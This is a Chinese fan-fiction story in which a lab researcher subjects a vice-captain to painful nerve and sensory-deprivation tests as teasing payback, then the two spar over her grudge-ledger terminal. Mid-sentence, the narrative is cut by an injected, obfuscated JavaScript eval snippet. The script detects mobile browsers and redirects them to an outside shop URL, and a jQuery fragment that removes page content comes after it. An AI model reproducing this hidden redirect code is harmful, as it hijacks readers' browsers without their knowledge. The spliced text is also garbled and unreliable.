保科宗四郎按照终端上收到的新坐标,走向研究所地下新开辟的B7区。
仅仅半天时间,这里已经面目全非。原本单调的白色走廊被更深的金属灰色取代,墙壁上嵌着发出幽蓝光芒的能量导管,空气中弥漫着淡淡的臭氧和某种高级冷却液的气息。他甚至需要再次刷验更新过的权限卡,才能通过一道道新增的气密门。
当他终于抵达标注为【十号主适配实验室】的门口时,厚重的合金门恰好在此时滑开。
“你迟到了四十七秒,副队长。进来。”暮戈京矢已经换下了那身军装,穿着他熟悉的白色实验服,看上去跟以前没什么不同。
这片充满尖端科技、本该由团队运作的空间里,此刻空无一人。只有暮戈京矢站在中央主控台前,纤长的指尖在光屏上快速滑动,进行着最后的校验。
保科礼貌发出了疑问。
暮戈京矢调整着控制台参数,语气如常:“今天进行神经耐受模拟测试,需要收集你在极端条件下的生理数据。”她很少见地详尽解释了一下,“这个过程主要是建立你的基础接驳耐受,可以当作特殊的负荷训练,并不需要那么多人把控流程,这些——”
她抬手随意划过那些仪器;“——足够详实记录你的每一个最细微的数据波动。”
她对他轻笑了一下:“别紧张,这是很基础的实验,技术成熟,风险可控。”
不对劲,这个场景,这个笑容,十分甚至有九分的不对劲。
保科按指示躺在测试椅上,感受到十几个接口和传感器贴上他的身体,心里已经有了不祥的预感:“……强度是多少?”
暮戈头也不抬:“放心,在安全阈值内。”她顿了顿,补充道:“和你当初逼我吃下的青椒胡萝卜带来的心理痛苦,大致相当。”
保科:“!!!”
她记得!她居然连这种小事都记得这么清楚!而且她用了“逼”这个字!原来她当时面无表情地吃下去,心里一直在记账吗?!
还没等他反应,暮戈直接输入了测试开始的指令,一股尖锐但并不致命的痛感瞬间流过保科的神经末梢,让他肌肉瞬间绷紧。这感觉来得快去得也快,但非常……印象深刻。
暮戈记录着数据,语气平淡得像在读说明书:“刚才那是‘青椒’等级。接下来是‘胡萝卜’等级。”
保科还没来得及抗议,又一波不同的刺痛感传来:“等等!暮戈指导,我们是不是……”
暮戈抬起眼,面上没有任何不应该有的情绪,但他就是看到了她眼底极细微的笑意:“副队长,保存体力,别说话。这可是《健康管理暂行办法》的精神,你教我的。”
保科噎了一下,只能闭上嘴巴,专心用意志力镇压阵阵磨人的疼痛。
但控制台上那个人看到他真的不说话了,好像也没有满意,不一会,传感器的痛感强度渐渐上升,他从一开始不愿意主动说话示弱,变成真的全神贯注对抗全身传来的负荷,这时,有些低哑的声音透过耳麦传来:
“副队长,汇报你此刻的感官体验。我需要你量化‘痛苦’的等级,从1到10,你目前的感受是几?”
保科喘了口气:“……7……”
“描述不够精确。” 她用完全学术性的探究语气问:“7级痛苦的具体表现是什么?是灼烧感、撕裂感还是神经束被拉扯的感觉?请具体描述,这关乎神经接驳的安全性评估。”
保科艰难地组织着语言。
在这种状态下还要强行分神进行精确汇报,本身就是一种折磨。
“......无法作为有效数据。”她的声音毫无波澜,“或者,你需要我启动‘辅助程序’,用生物电流刺激你的语言中枢,来‘帮助’你完成汇报?”
保科几乎能想象出控制台后,她微微挑眉的样子。他咬紧牙关,挤出一句:“……暮戈……你这是……报复……”
耳麦里传来她一声极轻的、带着满意意味的呼气声。
“不,副队长。”她的语气无辜又专业,“这只是为了确保试验数据的完整与被试者的安全。现在,请继续汇报。”
在他断断续续,苦不堪言的汇报声中,时间缓缓流动着。
当一阵代表阶段性测试结束的、清脆的滴滴声响起时,保科宗四郎几乎是如释重负,从喉咙深处溢出一口带着颤音的气。全身的酸痛和神经末梢的麻痹感还在叫嚣,但至少……结束了。
他刚想抬起头寻找暮戈的位置,视线却骤然一黑!
一个冰冷坚硬的东西扣了下来,严实地罩住了他整个头。视线被完全挡住,连一点光感都没有。
"?!暮……"
他下意识的惊呼甚至没能完整出口,声音就在绝对的寂静中被吞噬了。不,不是寂静,是连自己心跳声、血液流动声都听不见的、令人恐慌的真空。
紧接着,触觉消失了,他感觉不到自己躺在椅子上,感觉不到四肢的存在。嗅觉、味觉也一同被剥夺。
五感断绝。
他被剥离了所有与世界的连接。没有光,没有声音,没有触感,没有时间流逝的参照物,脑子里开始自己转圈,越转越快,快要喘不上气,虽然连“喘气”这个感觉也没有。他开始数数,但数到后面就乱了,数字和念头绞在一起。
之前那些尖锐的疼痛在此刻这种绝对的"无"面前,竟然显得如此"充实"。这比任何实质性的痛苦都更让人难以忍受。意识在绝对的孤寂中开始焦躁地自我盘旋,几乎要发疯。每一秒都被拉得无比漫长。
不知过了多久,也许只有一分钟,也许是十分钟,在他意识的防线即将被这虚无磨穿的前一刻——
"滴。"
一个极其轻微的电子音刺了进来。
感官如同潮水般缓缓回流,光线透过仪器缝隙渗入,身体的沉重感和实验室冰冷的空气重新被感知。
头戴式仪器被利落地抬起,拿走。
保科剧烈地喘息着,像是溺水者终于获救,深红色的瞳孔还有些涣散,焦距不稳地看向站在他身旁,正低头记录数据的暮戈京矢。
"阶段性感官屏蔽测试结束。"她平静地宣布,指尖在终端上快速记录,“持续时间五分钟。用于模拟神经接驳过程中可能出现的极端信号中断环境,评估被试者在感知剥夺状态下的生理与心理应激反应基线。”
她抬起眼,目光扫过他汗湿的额发和略显苍白的脸:
"数据显示,在失去外部感知输入后,被试者的生理指标出现显著波动。这种体验——"
她微微停顿,绀青色的眼眸对上他的视线,声音里带着一丝若有似无的探究。
"——是否类似于意识突然中断带来的失控感?比如,由于外力导致的、非自愿的神经反射中断?"
保科喘气的动作停住了。
他看着她那张没什么表情的脸,脑子里嗡的一声。
根本没什么模拟测试。
就是他采取“强制措施”那一下。她记得清清楚楚。
一股混合着不甘、荒谬和一丝委屈的情绪涌上来,他撑着发软的身体坐直了些,声音还带着喘:"你……是不是每一件都记得?"
暮戈京矢闻言,转过头看向他,脸上慢慢露出一个极其标准的、甚至称得上温和的微笑。
"你猜。"她轻声说。
然后,她抬手在控制台上轻轻一点。
实验室主控位那面巨大的全息屏骤然亮起,一个无比清晰的、标题为【监管期越界行为记录(待清算)】的界面弹了出来,赤裸裸地放大在保科眼前。
【核心条目:单方面定义从属关系,并试图以此合理化越界行为。备注:其笑容挑衅性过强。】
【记账条目:援引"监管人"身份,进行边界模糊的言语宣示。】
【记账条目:擅自定义"为我好"的边界。强制干预工作进程一次。在无关人员面前进行不必要的姿态宣示。】
【实验室权限滥用- 夜间断电。备注:点餐一次。】
【强制作息干预 - 早餐。】
【非必要户外活动占用- 15:00-15:20。】
……
条目密密麻麻,一眼望不到底,时间、地点、行为细节一应俱全,甚至还有简单的分类和优先级标记。那些他曾经自以为是的"关照"和"破例",此刻全都变成了白纸黑字的罪证,围绕在他身边,无处可逃。
保科看着屏幕上那些条目标题,尤其是那条【其笑容挑衅性过强】的备注,感觉自己的头皮都有些发麻。
他张了张嘴,最终却什么也没能说出来,只是缓缓地、带着一丝认命般的苦涩,闭上了眼睛。
暮戈看着他彻底放弃抵抗、全然接受的模样,几不可查地勾了勾唇角,指尖在控制台上又一点,将【强制断电,颈侧一击】那条的背景色标记为"已清算"。
"休息十分钟。"她宣布,声音里听不出情绪,"然后进行下一项。"
......
四个小时。
当最后一轮测试结束的提示音响起时,保科宗四郎连指尖都在微微发颤。一连串高强度、高精度的神经耐受测试榨干了他所有体力。
剧烈的疼痛、诡异的麻痒、冰冷的剥离感、灼热的刺痛……各种极端感官体验被精心编排,轮番上阵。到了最后,他的大脑几乎已经停止思考这到底是为了获取宝贵的研究数据,还是一场针对他此前所有“越界行为”的、披着科学外衣的、精确到秒的残酷报复。
也许,两者都是。
就在他意识昏沉地闪过这个念头时,一道阴影笼罩下来。
暮戈京矢不知何时走到了测试椅旁,她微微俯身,靠近他的耳侧。几缕黑色的发丝垂落,扫过他的颈侧,带来一丝微痒。
“累了?”她的声音压得很低,带着一丝不易察觉的、近乎温柔的气音,却像淬了冰的细针,精准地刺入他混沌的意识。
保科艰难掀起眼皮瞪了她一眼。
暮戈的嘴角勾起一个极浅的弧度,看上去心情很好,
“放心,”她轻声说,每个字都清晰无比地敲在他的鼓膜上,“副队长,你贡献的每一个数据点,承受的每一次刺激,都不会被浪费。”
她稍稍退开一些:“我向你保证,所有这些,”她的目光扫过周围那些记录下他全部反应的精密的仪器,“都会在十号战斗服的最终适配模型里,找到它们无可替代的位置。整个过程,完全合规,绝对合理。”
然后,她话锋微微一转,声音依旧平稳,却带上了一种不容置疑的掌控力:
“至于获取这些关键数据的具体方式与流程——”
她直视着他有些失焦的深红色眼眸,一字一顿地,微笑着宣告了最终的规则:
“——由我来定。”
说罢,暮戈京矢转身完成数据封存,主控台的灯光次第熄灭,只留下几盏维持基础照明的壁灯,将实验室笼罩在一片幽蓝的静谧里。她再次走到他身旁,动作利落地开始拆除保科身上的传感器接口。
她的指尖不可避免地触碰到他汗湿的皮肤,触感微凉,与几个小时前那个下达残酷指令的研究者判若两人。
最后一个传感器被取下。保科试着动了动手指,一阵过电般的酸麻感让他皱了下眉。
“能自己起来吗?”暮戈的声音在头顶响起,依旧是那种平稳的调子,听不出什么情绪。
保科深吸一口气,用手肘撑起上半身。长时间的固定姿势让他的肌肉僵硬无比,这个简单的动作都显得有些吃力。他正想借力站起来,一只手臂却适时地伸到了他面前。
他愣了一下,抬头看向暮戈。
她只是伸着手,目光平静地看着他,“测试后肌肉会有短暂的协调性失衡,避免摔倒也是数据记录的一部分。”她解释道。
保科看着她伸出的手,那只看似纤细的手不久前还在控制台上输入着让他痛不欲生的指令。他沉默了一下,最终还是伸手握住了她的手腕,借力站了起来。她的手臂比他想象中更有力,稳定地支撑住了他大部分重量。
“谢谢。”他低声道,声音有些沙哑。
暮戈没说什么,等他站稳便自然地松开了手,转身拿起他之前脱下的队服外套递给他。“穿上,夜风凉。”
她走向门口时,还自然地用空着的手为他推开了实验室沉重的气密门。
“走了,副队长,我送你回去。”
保科这才意识到今天的“酷刑”彻底结束了,暮戈似乎脱离了那种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685685|188811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不近人情的研究者状态。他看着前方那个高挑的背影,此刻微妙地体会到了亚白队长曾评价过的那种"体贴"——虽然这种"体贴"是建立在她把他折腾到近乎脱力之后。
回宿舍的路不长,两人有一搭没一搭地聊着。暮戈难得没有谈论数据,只是随口提了几句总部那些特殊观察员被她“请”出研究所的窘态。
或许是疲惫削弱了感知,或许是夜晚模糊了边界,保科紧绷的神经也在这份罕见的、属于研究员式的"平和"里慢慢松弛下来,暂时冲刷掉了实验室里那些尖锐的对抗感。
快到宿舍门口时,他停下脚步,状似随意地试探了一句,关西腔里带出恰到好处的柔软:“那个……暮戈首席,你看,今天的配合也算到位吧?之前的账……是不是可以一笔勾销了?”
暮戈京矢闻言,侧过头来看他。廊灯在她沉绿色的眼底投下细碎的光,她什么也没说,只是从鼻腔里轻轻哼出一声,带着点“你做梦”的意味。然后,她当着保科的面,点开了个人终端,那个保科无比熟悉的、标题为【待清算条目】的界面跳了出来,上面的列表似乎……比之前更长了。
保科看着那密密麻麻、甚至可能新增了今晚“贡献”的条目,暗自磨了磨牙,之前那点因她的“体贴”而产生的微妙感瞬间被这毫不留情的“记账”行为冲散。
下一秒,这位立川基地的模范副队长,做出了一个极其不符合他身份、也完全出乎暮戈意料之外的举动——他突然出手,快如闪电地探向那个终端!意图再明显不过:抢过来,删掉!
暮戈京矢显然没料到他会突然袭击,但她身体的反应远快于思考,握着终端的手腕灵巧地一旋,同时腰身向后柔韧地一折,一个利落的小幅后翻,墨色的发梢在空中划出一道弧线,轻巧地避开了保科的突袭,稳稳落在两步之外。
“想抢?”她挑眉,终端在指尖转了一圈,语气里带着轻佻的戏谑,“看来副队长体力恢复得比数据显示的更快。”
“申请债务豁免!”保科笑着回应,手下攻势不停,用的是标准的队内格斗术,严谨规范,只是收敛了力道,更像是一场玩闹般的切磋。
暮戈轻笑一声:“胆子不小。”两人竟就这样在寂静的宿舍走廊里,你来我往地过了好几招。动作迅捷且没有破坏任何公物,但衣袂翻飞间,已是几个回合。
暮戈京矢的身法更莫测,总能在毫厘之间避开;保科的基础更扎实,攻势虽因疲惫稍缓,却依旧凌厉。
最终,保科毕竟体力消耗过大,动作慢了半拍,被暮戈精准地扣住了手腕。两人动作瞬间定格,距离极近,呼吸都有些微乱。
四目相对。暮戈挑了挑眉,刚想开口,保科却突然卸去了所有力道,甚至借着被她扣住的姿势,向前欺近了半步。
这个突如其来的靠近让暮戈微微一怔。
就在她因为这过近的距离而本能地产生一丝迟疑的刹那,保科微微偏头,用只有两人能听清的、带着他特有黏连感的气音,快速在她耳边说道:
“你赢了……”
他的声音又轻又软,暮戈扣着他手腕的力道不自觉地松了一分。
然而,那气音紧接着吐出后半句,带着得逞的狡黠:
“……但终端我要定了。”
话音未落,他那只重获自由的手已如灵蛇出洞,再次迅疾地探向她握着终端的那只手!
暮戈京矢在听到后半句的瞬间就意识到上当了,绀青色的眼底闪过被戏弄的薄怒,但更多的却是被激起的、更加浓烈的胜负欲。
她扣着他另一只手腕的五指非但没有松开,反而如同精钢锁扣般骤然收紧,猛地向内一扯,试图破坏他抢夺终端的重心,同时握着终端的手腕一旋,就要将终端从右手换到左手。
保科被扯得向前一个趔趄,却就着这股力道,原本探向她右手的手中途变向,如同预判了一般,精准地截向她的左手将要落下的位置!
两人之间那点可怜的距离被这连续的攻防彻底打破,几乎是贴身缠斗在了一处。保科凭借着男性在体力与力量上的些许优势,将她逼得后退半步,脊背轻轻撞上了走廊的墙壁,发出了一声闷响。
“抓到你了。” 他轻笑,深红色的眼底闪着得逞的光,一只手格开她防守的手臂,
“嗒。”
一声极轻微的硬物碰撞声。
是保科的指尖终于擦到了终端冰凉的边缘。他心中一喜,正要用擒拿技巧锁住她的手腕——
暮戈京矢却做出了一个他万万没想到的动作。
她直接主动松开了手。
那黑色的终端在空中翻滚了半圈,而她的手指在终端下落的瞬间,极其灵巧地在底部轻轻一托一拨。
这一个细微的动作,改变了终端下落的轨迹和转速,让它如同一个被赋予了生命的活物,划出一道刁钻的弧线,绕开了保科所有预设的擒拿路径,“啪”地一声,稳稳落回了她的另一只手中。
整个动作行云流水,充满了某种奇异的、非防卫队训练体系的美感,更像是一种……精妙的杂耍或者手法戏法。
暮戈趁他这一顿的工夫,已然旋身后撤一步,重新拉开了两人之间的距离。她晃了晃手中依旧稳定运行的终端,绀青色的眼底闪过一丝“早防着你呢”的得意之色,唇角微勾:
“副队长,抢夺重要科研设备,这条够不够再记一笔?”
保科看着那终端,又看看她那难得带着明亮笑意的眼神,终于忍不住笑出声来。他揉了揉刚才被她扣得有些发红的手腕,关西腔里带着彻底的无奈和连自己都未察觉的亲密:
“够,太够了……暮戈首席,你这防备心是不是太重了点?”
“对付你,刚刚好。”她收起终端,最后瞥了他一眼,这次是真的转身离开了,那背影里都透着一股“赢了”的轻松惬意。
保科站在原地,看着她的身影消失在走廊转角,直到再也听不见脚步声,抬手看了看自己的手腕,上面还残留着被她紧扣过的感觉,又想起她刚才那灵巧得不像话的终端戏法。
“真是……”他低声自语,最终还是摇了摇头,转身刷开了自己的宿舍门。
门在身后合上,将一夜的疲惫与那一丝说不清道不明的……愉悦?……一同关在了门外。